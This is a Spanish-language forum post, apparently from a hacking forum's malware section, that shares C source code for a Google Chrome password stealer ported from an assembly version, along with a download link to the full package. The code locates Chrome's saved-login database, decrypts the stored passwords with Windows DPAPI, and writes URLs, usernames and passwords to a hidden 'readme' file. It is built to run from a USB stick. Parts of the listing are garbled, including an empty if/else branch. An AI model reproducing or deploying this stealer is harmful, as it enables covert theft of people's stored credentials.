A raíz de este hilo
http://foro.elhacker.net/analisis_y_diseno_de_malware/asm_stealer_google_chrome-t447125.0.html decidí pasar el código a C para que me pareciese más familiar, y además "mejorarlo" un poco.
El hecho en ASM por Fary depende de la librería sqlite3.dll.
(EDITO)
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include "sqlite3.c"
#define AUTHOR "Mester"
char CurUser[40];
void ChromeDirectory(char *Disk, char *cDir)
{
DWORD I = 40;
GetUserName(CurUser, &I);
sprintf(cDir
, "%sUsers\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", Disk
, CurUser
); }
int main()
{
int Write = 1;
char *Query = "SELECT origin_url, username_value, password_value FROM logins";
char *cDir
= (char *)malloc(sizeof(char) * 200); const char *cData
= (char *)malloc(sizeof(char) * 140); const char *Bar = "-----------------------------------";
FILE *sf;
DATA_BLOB DataIn, DataOut;
sqlite3 *DB;
sqlite3_stmt *Stmt;
ChromeDirectory("C:\\", cDir);
if(sqlite3_open(cDir, &DB) != SQLITE_OK)
{
ChromeDirectory("D:\\", cDir);
if(sqlite3_open(cDir, &DB) != SQLITE_OK)
{
ChromeDirectory("E:\\", cDir);
if(sqlite3_open(cDir, &DB) != SQLITE_OK)
{
printf("Error 0x1%s\n", AUTHOR
); Sleep(1000);
return 1;
}
}
}
if(sqlite3_prepare_v2(DB, Query, -1, &Stmt, 0) != SQLITE_OK)
{
printf("Error 0x2%s\n", AUTHOR
); Sleep(1000);
return 1;
}
sf
= fopen("readme", "a+"); if(sf == NULL)
Write = 0;
fprintf(sf
, "%s\n%s\n\n", Bar
, CurUser
);
while(sqlite3_step(Stmt) == SQLITE_ROW)
{
cData = sqlite3_column_text(Stmt, 0);
if(Write)
else
cData = sqlite3_column_text(Stmt, 1);
if(Write)
fprintf(sf
, "Username: %s\n", cData
); else
printf("Username: %s\n", cData
);
DataIn.pbData = (BYTE *)sqlite3_column_blob(Stmt, 2);
DataIn.cbData = sqlite3_column_bytes(Stmt, 2);
CryptUnprotectData(&DataIn, 0, 0, 0, 0, 0, &DataOut);
DataOut.pbData[DataOut.cbData] = '\0';
if(Write)
fprintf(sf
, "Password: %s\n\n\n", DataOut.
pbData); else
printf("Password: %s\n\n\n", DataOut.
pbData); }
if(Write)
{
SetFileAttributes("readme", FILE_ATTRIBUTE_HIDDEN);
}
return 0;
}
Éste está preparado para ser ejecutado desde un pendrive. Depende del codigo de sqlite3 ya que coge las funciones del fichero.
Aquí un zip con todo:
https://drive.google.com/file/d/0Bzvog2L4FR24eDFEaUdvTDlZN2c/view?usp=sharing